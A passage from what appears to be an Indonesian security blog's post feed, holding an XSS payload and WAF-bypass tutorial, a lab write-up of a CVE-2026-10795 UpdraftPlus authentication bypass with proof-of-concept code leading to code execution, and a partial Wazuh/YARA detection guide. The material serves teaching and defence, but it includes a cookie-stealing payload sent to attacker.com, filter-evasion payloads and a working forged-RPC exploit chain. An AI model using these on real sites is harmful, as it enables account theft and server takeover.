dengan menutup tanda kutip yang ada.\n\u0026lt;!-- Dasar --\u0026gt; \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; \u0026lt;!-- Ganti tag --\u0026gt; \u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;!-- Auto-trigger --\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;!-- Keluar dari konteks atribut --\u0026gt; \u0026#34;\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt;\u0026lt;\u0026#34; \u0026lt;!-- Payload dengan dampak nyata --\u0026gt; \u0026lt;img src=x onerror=fetch(\u0026#39;https://attacker.com?c=\u0026#39;+document.cookie)\u0026gt; WAF mencocokkan pola. Browser memaafkan hampir segalanya. Di situlah celahnya.\nBypass WAF WAF seperti Cloudflare, Akamai, Imperva, dan AWS WAF memblokir berdasarkan pola seperti keyword, regex, dan signature. Tugas penyerang adalah membingungkan pattern matcher sambil tetap membuat browser puas. Browser sangat toleran: ia akan mem-parse tag yang malformed, mengabaikan spasi berlebih, menerima mixed case, dan menangani variasi encoding tanpa keluhan. WAF sering kali tidak setoleran itu.\nKalau spasi antar atribut difilter, gunakan / sebagai penggantinya:\n\u0026lt;details/open/ontoggle=alert(1)\u0026gt; \u0026lt;img/src=x/onerror=alert(1)\u0026gt; Kalau kata \u0026ldquo;alert\u0026rdquo; diblokir, gunakan template literal dengan backtick atau String.fromCharCode untuk menghindarinya sama sekali:\n\u0026lt;svg/onload=alert`1`\u0026gt; \u0026lt;img src=x onerror=alert(String.fromCharCode(88,83,83))\u0026gt; Case mixing bekerja karena browser tidak peduli dengan kapitalisasi di tag dan atribut:\n\u0026lt;ScRiPt\u0026gt;alert(1)\u0026lt;/sCrIpT\u0026gt; \u0026lt;DeTaIlS/OpEn/OnToGgLe=alert(1)\u0026gt; Komentar JS juga bisa disisipkan di dalam event handler untuk memecah pencocokan pola:\n\u0026lt;img src=x onerror=alert/**/(1)\u0026gt; Beberapa ruleset WAF lama juga bisa dikacaukan lewat konteks tanda kutip yang malformed pada atribut:\n\u0026lt;details open id=\u0026#34;\u0026#39;\u0026amp;quot;\u0026#39;\u0026#34; ontoggle=alert(1)\u0026gt; Browser event yang relatif baru juga sering belum masuk ke signature WAF lama:\n\u0026lt;xss oncontentvisibilityautostatechange=alert(1) style=\u0026#34;content-visibility:auto\u0026#34; popover\u0026gt; \u0026lt;input onbeforematch=alert(1) hidden=until-found\u0026gt; Polyglot Payload Polyglot adalah payload yang dirancang untuk bekerja di berbagai konteks injeksi sekaligus: teks HTML, dalam atribut, di dalam blok \u0026lt;script\u0026gt;, \u0026lt;textarea\u0026gt;, \u0026lt;title\u0026gt;, maupun konteks URL. Saat melakukan fuzzing pada injection point yang belum diketahui konteksnya, polyglot adalah yang paling efisien untuk dilempar lebih dulu karena responsnya akan banyak memberitahu tentang apa yang parser lakukan.\njaVasCript:/*--\u0026gt;\u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt; Breakdown-nya: jaVasCript: menangani konteks URL/href dengan case mixing. /*--\u0026gt; menutup komentar JS. \u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt; keluar dari keempat konteks tag tersebut. \u0026lt;svg/onload=alert(1)\u0026gt; adalah payload aktualnya.\nCSP Bypass via JSONP Kalau sebuah target memiliki script-src 'self' *.google.com di Content Security Policy mereka, bukan berarti jalan tertutup sepenuhnya. Google memiliki endpoint JSONP yang me-reflect parameter callback langsung ke dalam respons sebagai JavaScript yang bisa dieksekusi. Karena skrip dimuat dari domain *.google.com, CSP mengizinkannya.\n\u0026lt;script src=\u0026#34;https://accounts.google.com/o/oauth2/revoke?callback=alert(document.domain)\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Untuk mencari JSONP endpoint serupa di domain lain yang masuk whitelist CSP, bisa menggunakan repositori JSONBee.\nDOMPurify DOMPurify adalah library sanitasi HTML yang cukup solid, tapi bukan berarti tidak pernah ada celah. CVE-2025-26791 berkaitan dengan bug regex pada template literal di mode SAFE_FOR_TEMPLATES, yang memungkinkan bypass via kombinasi tag \u0026lt;math\u0026gt; dan \u0026lt;style\u0026gt;. Saat menemukan aplikasi yang menggunakan DOMPurify, selalu periksa versinya terlebih dahulu. Versi di bawah 2.x patut dicurigai.\npostMessage XSS Banyak aplikasi menggunakan window.postMessage() untuk komunikasi antar iframe, widget, dan popup. Ketika sisi penerima langsung memasukkan event.data ke dalam innerHTML tanpa sanitasi dan tanpa memvalidasi event.origin, maka dari halaman penyerang bisa dilakukan hal berikut:\n// Kode di sisi penerima yang vulnerable window.addEventListener(\u0026#39;message\u0026#39;, function(event) { document.getElementById(\u0026#39;content\u0026#39;).innerHTML = event.data; }); // Exploit dari halaman penyerang const frame = document.getElementById(\u0026#39;victimFrame\u0026#39;); frame.onload = () =\u0026gt; { frame.contentWindow.postMessage( \u0026#39;\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\u0026#39;, \u0026#39;*\u0026#39; ); }; Cara mencarinya adalah dengan mencari pola addEventListener.*message atau onmessage dalam file JavaScript lewat DevTools atau Burp. Lalu telusuri ke mana event.data berakhir. Kalau ia masuk ke innerHTML, eval, location.href, atau document.write, maka itu adalah temuan yang valid.\nIdentifikasi WAF Sebelum Bypass Sebelum melempar payload bypass, ada baiknya mengetahui dulu WAF apa yang dihadapi karena WAF yang berbeda punya signature dan kelemahan yang berbeda. Identifikasi pasif bisa dilakukan lewat response header: CF-RAY menandakan Cloudflare, X-CDN: Imperva menandakan Imperva, dan header X-Akamai-* menandakan Akamai. Untuk identifikasi aktif, gunakan wafw00f:\nwafw00f https://target.com Setelah tahu WAF-nya, probe apa saja yang diblokir: apakah \u0026lt;script\u0026gt;, \u0026lt;svg\u0026gt;, atribut on*, kata \u0026ldquo;alert\u0026rdquo;, atau spasi. Setiap temuan yang diblokir mempersempit opsi WAF dan membuka opsi bypass yang relevan.\nLima Payload untuk Pengujian Cepat Untuk pengujian cepat yang mencakup berbagai kemungkinan, lima payload ini sudah cukup sebagai titik awal:\n\u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;img src=x onerror=alert(1)\u0026gt; \u0026lt;details open ontoggle=alert(1)\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; jaVasCript:/*--\u0026gt;\u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt; Yang terakhir adalah polyglot. Kalau konteks injeksi belum diketahui, mulai dengan itu.\nTools Referensi Beberapa tools dan referensi yang berguna untuk pengujian XSS:\nPayloadsAllTheThings XSS Payloads PortSwigger XSS Cheat Sheet JSONBee: JSONP CSP Bypass wafw00f XSStrike dalfox CSP Evaluator XSS adalah salah satu vulnerability di mana menghafal payload hanya membawa sejauh tertentu. Yang membuat seseorang benar-benar efektif, baik di bug bounty maupun pentesting, adalah memahami mengapa browser mengeksekusi kode ketika melihat kombinasi tertentu dari tag, event, dan atribut. Begitu itu dipahami, tag \u0026lt;script\u0026gt; yang diblokir bukan lagi jalan buntu, melainkan pertanyaan: tag mana lagi yang ada, event mana yang otomatis terpicu, dan atribut mana yang filter lupa periksa. Browser memang ingin me-render payload. Tugas kita hanya memahami bahasanya lebih baik dari filter yang berdiri di depannya.\nDisclaimer\nSeluruh teknik dalam artikel ini ditujukan untuk lingkungan lab yang sudah diotorisasi, CTF, dan program bug bounty dalam scope yang jelas. Pengujian pada sistem tanpa izin adalah tindakan ilegal.\nedu.ravxytech.my.id hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://edu.ravxytech.my.id/posts/xss-bukan-hanya-script-alert/","summary":"\u003cp\u003eBanyak orang yang pertama kali belajar XSS bisa paham konsepnya dalam hitungan menit, tapi justru bingung kenapa payload mereka tidak pernah benar-benar berhasil di target nyata. Copy-paste \u003ccode\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/code\u003e ke form input, tidak ada yang terjadi. Coba lagi, tetap tidak ada. Akhirnya menyimpulkan bahwa target \u0026ldquo;tidak vulnerable\u0026rdquo;, padahal belum tentu.\u003c/p\u003e\n\u003cp\u003eYang membedakan seseorang yang sekadar menghafal payload dengan yang benar-benar memahami XSS adalah satu hal: mengetahui \u003cem\u003emengapa\u003c/em\u003e sebuah payload bisa dieksekusi browser. Begitu itu dipahami, payload yang diblokir bukan lagi hambatan, melainkan undangan untuk berpikir lebih dalam.\u003c/p\u003e","title":"XSS Bukan Sekadar script alert 1 script: Ini yang Sebenarnya Membuat Payload Berjalan"},{"content":"CVE-2026-10795 adalah salah satu celah keamanan yang cukup menarik untuk dibahas, bukan karena cara eksploitasinya yang spektakuler, tapi justru karena cara kerjanya yang elegan dan memanfaatkan kelalaian kecil yang berantai jadi dampak besar.\nCelah ini ada di UpdraftPlus, plugin WordPress yang sangat populer untuk backup dan restore, tepatnya di komponen UpdraftCentral yang digunakan untuk remote management. Yang membuat CVE ini lebih dari sekadar \u0026ldquo;auth bypass biasa\u0026rdquo; adalah kemampuannya untuk dirantai menjadi Remote Code Execution — bukan lewat injeksi command langsung, melainkan lewat fitur plugin management yang memang sudah ada dan sah digunakan.\nApa Itu CVE-2026-10795? CVE-2026-10795 adalah unauthenticated authentication bypass pada UpdraftPlus WordPress plugin, tepatnya di layer UpdraftCentral RPC (Remote Procedure Call). Vulnerability ini ditemukan di versi UpdraftPlus \u0026lt;= 1.26.4 dan sudah dipatch di versi 1.26.5.\nKondisinya: jika sebuah WordPress site menggunakan UpdraftPlus dan UpdraftCentral sudah dikonfigurasi untuk remote management, seorang penyerang dari luar — tanpa memiliki akun apapun — bisa memalsukan RPC message dan mengelabui plugin agar menjalankan perintah dengan hak administrator, termasuk menginstall dan mengaktifkan plugin WordPress apapun.\nRangkaian serangannya berjalan seperti ini:\nPenyerang tanpa autentikasi → kirim forged UpdraftCentral RPC request → bypass verifikasi signature lewat format=1 → RSA decrypt gagal tapi tidak ditolak → decrypt jatuh ke null key / null IV yang predictable → JSON RPC command palsu berhasil didekripsi → command di-dispatch ke UpdraftCentral → plugin.upload_plugin dipanggil → install + aktifkan plugin → code execution sebagai www-data Root Cause — Di Mana Letak Masalahnya? Masalahnya ada di cara UpdraftPlus menangani pesan RPC dari UpdraftCentral. Plugin ini mendukung dua format pesan:\nformat=1 → format lama (legacy) format=2 → format baru dengan signature verification Format=1 tidak memerlukan signature. Inilah bypass pertama. Di kode aslinya, pemeriksaan signature hanya dilakukan kalau formatnya \u0026gt;= 2:\nif ($format \u0026gt;= 2) { if (empty($_POST[\u0026#39;signature\u0026#39;])) { die; } if (!$this-\u0026gt;key_remote) { die; } if (!$this-\u0026gt;verify_signature($udrpc_message, $_POST[\u0026#39;signature\u0026#39;], $this-\u0026gt;key_remote)) { die; } } Kalau request dikirim dengan format=1, seluruh blok ini dilewati sepenuhnya. Namun masalah utamanya bukan di sini — masalah yang lebih besar ada di bagian decryption.\nSetelah melewati format check, UpdraftPlus mencoba mendekripsi pesan menggunakan RSA untuk mendapatkan symmetric key, lalu menggunakan symmetric key tersebut untuk mendekripsi pesan utama. Kode di versi vulnerable-nya kira-kira seperti ini:\n// Di versi vulnerable (1.26.4): $sym_key = $rsa-\u0026gt;decrypt($sym_key); $rij-\u0026gt;setKey($sym_key); // BUG: tidak ada pengecekan apakah $sym_key valid! return $rij-\u0026gt;decrypt($ciphertext); Kalau RSA decrypt gagal, $rsa-\u0026gt;decrypt() mengembalikan nilai false. Di versi vulnerable, nilai false ini langsung dimasukkan ke setKey() tanpa pengecekan apapun.\nYang terjadi selanjutnya menarik — library phpseclib yang dipakai memiliki behavior seperti ini: kalau key yang diberikan adalah false (yang panjangnya 0 karena strlen(false) === 0), key-nya akan di-pad dengan null bytes menjadi 16 bytes. IV juga jatuh ke 16 null bytes. Artinya, kita bisa tahu persis key dan IV yang akan dipakai server:\nAES-CBC Key: \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 IV: \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 Karena key dan IV-nya sudah diketahui, payload bisa dienkripsi sendiri menggunakan zero key dan zero IV — dan server akan mendekripsinya dengan sukses.\nPatch di versi 1.26.5 menambahkan validasi sederhana sebelum symmetric key digunakan:\n// Di versi patched (1.26.5): $sym_key = $rsa-\u0026gt;decrypt($sym_key); // Guard yang ditambahkan: if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) \u0026lt; 16) { return false; } $rij-\u0026gt;setKey($sym_key); return $rij-\u0026gt;decrypt($ciphertext); Tiga baris sederhana. Itulah perbedaan antara versi yang exploitable dan yang sudah dipatch.\nKenapa Bisa Jadi Code Execution? Authentication bypass-nya terlihat seperti \u0026ldquo;hanya bisa masuk ke sistem\u0026rdquo;. Tapi setelah berhasil melewati autentikasi RPC, penyerang bisa memanggil command UpdraftCentral apapun, termasuk:\nplugin.upload_plugin Command ini adalah fitur sah dari UpdraftCentral untuk mengupload dan menginstall plugin WordPress secara remote. Alurnya seperti ini:\n// Di central/modules/plugin.php public function upload_plugin($params) { return $this-\u0026gt;process_chunk_upload($params, \u0026#39;plugin\u0026#39;); } // process_chunk_upload(): // 1. Decode base64 ZIP data dari params // 2. Tulis ke file temporary // 3. Panggil UpdraftCentral_Plugin_Upgrader-\u0026gt;install($zip_filepath) // 4. Kalau \u0026#39;activate\u0026#39; = true, panggil activate_plugin() Jadi kalau RPC message berisi ZIP plugin, server akan menginstall dan mengaktifkan plugin tersebut — dan kode PHP di dalamnya langsung berjalan dengan hak akses user web server, biasanya www-data.\nCatatan: Agar serangan ini berhasil, dibutuhkan kondisi bahwa UpdraftCentral local key state sudah ada dan terhubung ke user WordPress yang memiliki privilege cukup seperti administrator. Lab di bawah sudah mensimulasikan kondisi ini.\nSetup Lab — Docker Environment Lab untuk mereproduksi CVE ini tersedia di GitHub: rootdirective-sec/CVE-2026-10795-Lab\nLab ini menjalankan dua instalasi WordPress secara paralel via Docker Compose, sehingga bisa langsung membandingkan antara versi vulnerable dan patched secara side-by-side.\nService UpdraftPlus URL vuln 1.26.4 (vulnerable) http://127.0.0.1:8081 patched 1.26.5 (patched) http://127.0.0.1:8082 Struktur repositorinya:\nCVE-2026-10795-Lab/ ├── docker-compose.yml ├── scripts/ │ └── setup-wordpress.sh ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── requirements.txt └── README.md Langkah 1 — Clone dan Start Lab Pastikan Docker Desktop atau Docker Engine sudah terinstall, lalu jalankan:\n# Clone repositori git clone https://github.com/rootdirective-sec/CVE-2026-10795-Lab.git cd CVE-2026-10795-Lab # Bersihkan state lama kalau ada, lalu build dan start docker compose down -v --remove-orphans docker compose up -d --build Proses build pertama kali membutuhkan waktu beberapa menit karena perlu mengunduh image dan melakukan setup WordPress.\nLangkah 2 — Pantau Setup Logs docker compose logs -f vuln_setup patched_setup Tunggu sampai muncul output seperti ini untuk masing-masing service:\nSeeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.4 Setup complete for CVE-2026-10795 vuln Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched Langkah 3 — Verifikasi Service Berjalan docker compose ps Pastikan semua service statusnya running atau healthy.\nSetup Python Environment Beberapa Python package diperlukan untuk menjalankan PoC:\n# Buat virtual environment python3 -m venv venv # Aktifkan source venv/bin/activate # Install dependencies pip install -r requirements.txt Isi requirements.txt:\nrequests urllib3\u0026lt;2 pycryptodome Tutorial PoC — Jalankan Serangan Setelah lab siap, saatnya menjalankan exploit.\nPing Test (Validasi Ringan) Sebelum menjalankan ID proof, ada baiknya mengetes dulu apakah RPC bypass berhasil tanpa mengupload plugin sama sekali — ini fungsinya flag --ping:\n# Test ke vulnerable target python3 poc/poc.py --ping --url http://127.0.0.1:8081 # Test ke patched target python3 poc/poc.py --ping --url http://127.0.0.1:8082 Output yang diharapkan:\nVulnerable (8081): PING DISPATCHED Patched (8082): PING NOT DISPATCHED Kalau ping ke 8081 berhasil, artinya bypass autentikasi RPC bekerja. Kalau ping ke 8082 tidak berhasil, artinya patch bekerja dengan benar.\nID Proof (Full Exploit Chain) Ini adalah serangan penuh — PoC akan membuat plugin WordPress di memory, menguploadnya lewat forged RPC, menginstall dan mengaktifkannya, lalu mengambil output dari /usr/bin/id:\n# Jalankan ke vulnerable target python3 poc/poc.py --url http://127.0.0.1:8081 Output yang diharapkan dari target vulnerable:\nCVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php ======================================================================================== Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2 ---------------------------------------------------------------------------------------- ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data) ======================================================================================== Sekarang coba ke patched target:\npython3 poc/poc.py --url http://127.0.0.1:8082 Output yang diharapkan dari target patched:\nTarget : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False ---------------------------------------------------------------------------------------- ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : \u0026#39;{\u0026#34;code\u0026#34;:\u0026#34;rest_no_route\u0026#34;,...}\u0026#39; ======================================================================================== Perbedaannya sangat jelas. Target vulnerable berhasil dieksploitasi dan marker plugin berhasil terinstall. Target patched memblok forged message sebelum sempat sampai ke command dispatch.\nCara Kerja PoC di Balik Layar Ini yang sebenarnya terjadi ketika PoC dijalankan, step by step:\nStep 1 — Generate Marker Plugin\nPoC membuat WordPress plugin ZIP langsung di memory, tanpa menyimpannya ke disk terlebih dahulu. Plugin ini hanya berisi satu file PHP yang mendaftarkan satu REST endpoint:\n/wp-json/cve-lab/v1/id Endpoint tersebut hanya menjalankan satu perintah hard-coded:\nshell_exec(\u0026#39;/usr/bin/id 2\u0026gt;\u0026amp;1\u0026#39;); Tidak ada parameter cmd yang bisa diubah dari luar — sengaja dibuat terbatas untuk tujuan lab.\nStep 2 — Enkripsi Inner JSON\nPoC membuat JSON command yang akan dikirim ke UpdraftCentral:\ninner = { \u0026#34;command\u0026#34;: \u0026#34;plugin.upload_plugin\u0026#34;, \u0026#34;time\u0026#34;: int(time.time()), \u0026#34;key_name\u0026#34;: \u0026#34;0.central.updraftplus.com\u0026#34;, \u0026#34;rand\u0026#34;: random.randint(1, 2_147_483_647), \u0026#34;data\u0026#34;: { \u0026#34;filename\u0026#34;: \u0026#34;cve-2026-10795-id-marker.zip\u0026#34;, \u0026#34;data\u0026#34;: base64.b64encode(zip_bytes).decode(\u0026#34;ascii\u0026#34;), \u0026#34;activate\u0026#34;: True, } } JSON ini kemudian dienkripsi menggunakan zero key dan zero IV:\nZERO_KEY = b\u0026#34;\\x00\u0026#34; * 16 ZERO_IV = b\u0026#34;\\x00\u0026#34; * 16 cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) Step 3 — Build Forged RPC Message\nPoC membangun udrpc_message dengan format yang sama seperti yang diharapkan UpdraftCentral, tetapi menggunakan RSA block yang sengaja dibuat invalid:\nBAD_RSA_BLOCK = b\u0026#34;CVE-2026-10795-LAB-BAD-RSA-BLOCK\u0026#34; bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode(\u0026#34;ascii\u0026#34;) ciphertext_b64 = base64.b64encode(ciphertext).decode(\u0026#34;ascii\u0026#34;) sym_key_len = f\u0026#34;{len(bad_sym_key_b64):03x}\u0026#34; ciphertext_len = f\u0026#34;{len(ciphertext_b64):016x}\u0026#34; udrpc_message = f\u0026#34;{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}\u0026#34; RSA block yang invalid ini akan menyebabkan RSA decrypt gagal di server. Di versi vulnerable, kegagalan ini tidak ditolak dan proses berlanjut ke dekripsi menggunakan zero key/IV — persis yang sudah disiapkan di Step 2.\nStep 4 — Kirim Request\nfields = { \u0026#34;format\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;key_name\u0026#34;: \u0026#34;0.central.updraftplus.com\u0026#34;, \u0026#34;udrpc_message\u0026#34;: udrpc_message, } requests.post(target_url, data=fields, timeout=timeout) Request dikirim sebagai POST biasa ke root URL WordPress. Tidak perlu endpoint khusus, tidak perlu cookie, tidak perlu token.\nStep 5 — Verifikasi Impact\nSetelah plugin terinstall, PoC mengecek apakah marker plugin sudah aktif:\ncurl http://127.0.0.1:8081/wp-json/cve-lab/v1/id Verifikasi Manual Beberapa cara untuk memverifikasi status lab secara manual:\nCek service health:\ndocker compose ps Cek inspector endpoint (menampilkan info versi dan status plugin):\ncurl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool Cek marker endpoint setelah PoC dijalankan:\n# Vulnerable — seharusnya mengembalikan uid output curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool # Patched — seharusnya mengembalikan 404 curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool Cek apakah marker plugin ada di filesystem:\n# Di container vulnerable docker compose exec -T vuln sh -lc \\ \u0026#39;find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true\u0026#39; # Di container patched (seharusnya kosong) docker compose exec -T patched sh -lc \\ \u0026#39;find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true\u0026#39; Cara Detect dan Mitigasi Tanda-tanda Serangan Dari sisi HTTP access log, perhatikan POST request ke root / yang mengandung field udrpc_message dengan nilai panjang, terutama jika format=1 dan berasal dari IP yang tidak dikenal. Pola ini tidak lazim untuk traffic WordPress normal.\nDari sisi filesystem, perhatikan jika ada plugin baru yang muncul tiba-tiba di wp-content/plugins/ tanpa ada yang menginstallnya lewat dashboard.\nDari sisi REST API, cek apakah ada endpoint baru yang tiba-tiba muncul dari plugin yang tidak pernah diinstall.\nMitigasi Langkah paling penting: upgrade UpdraftPlus ke versi 1.26.5 atau lebih baru. Update ini tersedia langsung dari WordPress Plugin Repository dan bisa dilakukan dari dashboard WordPress.\nJika fitur remote management UpdraftCentral tidak digunakan, sebaiknya hapus konfigurasi UpdraftCentral key di database. Key ini yang menjadi prasyarat eksploitasi. Caranya bisa lewat UpdraftPlus settings, atau dengan menghapus record terkait di tabel wp_options.\nJika sistem sudah dicurigai dikompromis:\nReview plugin yang terinstall, hapus yang mencurigakan Audit akun WordPress, khususnya yang berperan administrator Periksa access log untuk request yang mengandung udrpc_message Restore dari backup bersih jika diperlukan Rotate semua credential yang mungkin sudah terekspos Untuk monitoring jangka panjang, pertimbangkan untuk:\nMenyiapkan alerting untuk POST request ke root URL WordPress yang mengandung udrpc_message Memonitor perubahan filesystem di direktori wp-content/plugins/ Mengaktifkan notifikasi update plugin WordPress agar tidak ketinggalan patch penting Cleanup Lab Setelah selesai bereksperimen, bersihkan lab dengan:\n# Stop dan hapus containers, network, dan volumes docker compose down -v --remove-orphans # Hapus Python virtual environment rm -rf venv Ringkasan Teknis Kalau dirangkum, chain serangan CVE-2026-10795 berjalan seperti ini: format format=1 melewati signature verification sepenuhnya. RSA block yang sengaja invalid membuat RSA decrypt gagal dan mengembalikan false. Di versi vulnerable, false ini langsung dimasukkan ke setKey() tanpa validasi. phpseclib kemudian menormalisasi key false menjadi 16 null bytes. Karena key sudah diketahui, payload bisa dienkripsi sedemikian rupa sehingga server berhasil mendekripsinya. Payload berisi command plugin.upload_plugin beserta ZIP plugin. Server menginstall dan mengaktifkan plugin tersebut, dan kode PHP di dalamnya langsung berjalan.\nPatch di versi 1.26.5 memotong chain ini di langkah ketiga — jika RSA decrypt gagal, nilai false langsung ditolak dan proses berhenti di sana.\nDisclaimer / Catatan Penting\nArtikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Seluruh tutorial di atas menggunakan environment lokal (Docker lab) yang terisolasi dan tidak terhubung ke sistem produksi manapun, tidak saya sarankan untuk hal ilegal.\nPoC yang dijelaskan di sini hanya dapat dijalankan ke localhost dan secara eksplisit menolak target non-lokal. Tujuannya adalah membantu security researcher, developer, dan sysadmin memahami cara kerja celah ini agar dapat mengambil langkah proteksi yang tepat.\nJangan pernah menjalankan exploit ke sistem yang bukan milikmu atau yang tidak memiliki izin eksplisit untuk diuji. Mengeksploitasi sistem tanpa izin adalah tindakan ilegal dan tidak etis.\nJika mengelola WordPress dengan UpdraftPlus, segera upgrade ke versi 1.26.5 atau lebih baru.\nedu.ravxytech.my.id hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://edu.ravxytech.my.id/posts/cve-2026-10795-exploited/","summary":"\u003cp\u003eCVE-2026-10795 adalah salah satu celah keamanan yang cukup menarik untuk dibahas, bukan karena cara eksploitasinya yang spektakuler, tapi justru karena cara kerjanya yang elegan dan memanfaatkan kelalaian kecil yang berantai jadi dampak besar.\u003c/p\u003e\n\u003cp\u003eCelah ini ada di \u003cstrong\u003eUpdraftPlus\u003c/strong\u003e, plugin WordPress yang sangat populer untuk backup dan restore, tepatnya di komponen \u003cstrong\u003eUpdraftCentral\u003c/strong\u003e yang digunakan untuk remote management. Yang membuat CVE ini lebih dari sekadar \u0026ldquo;auth bypass biasa\u0026rdquo; adalah kemampuannya untuk dirantai menjadi \u003cstrong\u003eRemote Code Execution\u003c/strong\u003e — bukan lewat injeksi command langsung, melainkan lewat fitur plugin management yang memang sudah ada dan sah digunakan.\u003c/p\u003e","title":"CVE-2026-10795 — UpdraftPlus RPC Authentication Bypass Chained to Plugin Installation"},{"content":"TLDR Apa itu Wazuh? Wazuh adalah sebuah platform keamanan yang berfokus pada deteksi ancaman dan keamanan endpoint. Ini mencakup kemampuan monitoring, deteksi, dan respons terhadap ancaman keamanan pada lingkungan IT. Wazuh menyediakan fitur seperti deteksi serangan, analisis log, integritas file, dan monitoring keamanan berbasis aturan.\nApa itu YARA? Sebuah tool yang mengklasifikasikan apakah suatu binary, code, dll itu adalah malware atau bukan berdasarkan rules yang kita buat.\nContoh Rule YARA Berikut contoh rule YARA untuk mendeteksi konten judi online:\nrule detect_gambling { meta: date = \u0026#34;2025-01-17\u0026#34; strings: $string0 = \u0026#34;gacor\u0026#34; $string1 = \u0026#34;maxwin\u0026#34; $string2 = \u0026#34;wetogel\u0026#34; $string3 = \u0026#34;togel\u0026#34; $string4 = \u0026#34;toto\u0026#34; $string5 = \u0026#34;bet\u0026#34; $string6 = \u0026#34;jackpot\u0026#34; $string7 = \u0026#34;poker\u0026#34; $string8 = \u0026#34;casino\u0026#34; $string9 = \u0026#34;judi\u0026#34; $string10 = \u0026#34;bola\u0026#34; $string11 = \u0026#34;slot\u0026#34; $string12 = \u0026#34;sabung\u0026#34; condition: 2 of them } Di atas adalah contoh rule untuk deteksi judol dsb. Kalo ngomongin YARA bakal lebih kompleks, next artikel deh wakk,\nIntermeso Akhir-akhir ini serangan dari hacker penyebar judi online makin hari makin ganas. Karena itu sudah sewajarnya kita mengamankan server yang kita kelola. Sebenernya langkah untuk mengamankan ini ada banyak cara, salah satunya dengan menggunakan Wazuh FIM dan YARA.\nSebelum ke tahap selanjutnya, install dulu:\nWazuh Server Wazuh Agent YARA Langkah-Langkah Konfigurasi 1. Setup FIM (File Integrity Monitoring) Setelah semua ter-install, setup FIM untuk memonitor path yang sekiranya rawan menjadi tempat Threat Actor untuk meletakkan filenya. Di sini saya mengarahkan pada folder /var/www/html/, bisa disesuaikan dengan kebutuhan.\n\u0026lt;syscheck\u0026gt; \u0026lt;directories realtime=\u0026#34;yes\u0026#34; check_all=\u0026#34;yes\u0026#34; report_changes=\u0026#34;yes\u0026#34; whodata=\u0026#34;yes\u0026#34;\u0026gt;/var/www/html/\u0026lt;/directories\u0026gt; \u0026lt;/syscheck\u0026gt; 2. Konfigurasi Wazuh Server Setelah setup FIM nya, kita config dulu wazuh servernya seperti berikut:\n\u0026lt;command\u0026gt; \u0026lt;name\u0026gt;yara_linux\u0026lt;/name\u0026gt; \u0026lt;executable\u0026gt;yara.py\u0026lt;/executable\u0026gt; \u0026lt;timeout_allowed\u0026gt;no\u0026lt;/timeout_allowed\u0026gt; \u0026lt;/command\u0026gt; \u0026lt;active-response\u0026gt; \u0026lt;command\u0026gt;yara_linux\u0026lt;/command\u0026gt; \u0026lt;location\u0026gt;local\u0026lt;/location\u0026gt; \u0026lt;rules_id\u0026gt;554,550\u0026lt;/rules_id\u0026gt; \u0026lt;/active-response\u0026gt; 3. Script Active Response Copykan 2 script ini di server yang telah terinstall wazuh agent.\nScript 1: yara.sh Simpan file ini dengan nama yara.sh:\nread INPUT_JSON YARA_PATH=$(echo $INPUT_JSON | jq -r .parameters.extra_args[1]) YARA_RULES=$(echo $INPUT_JSON | jq -r .parameters.extra_args[3]) 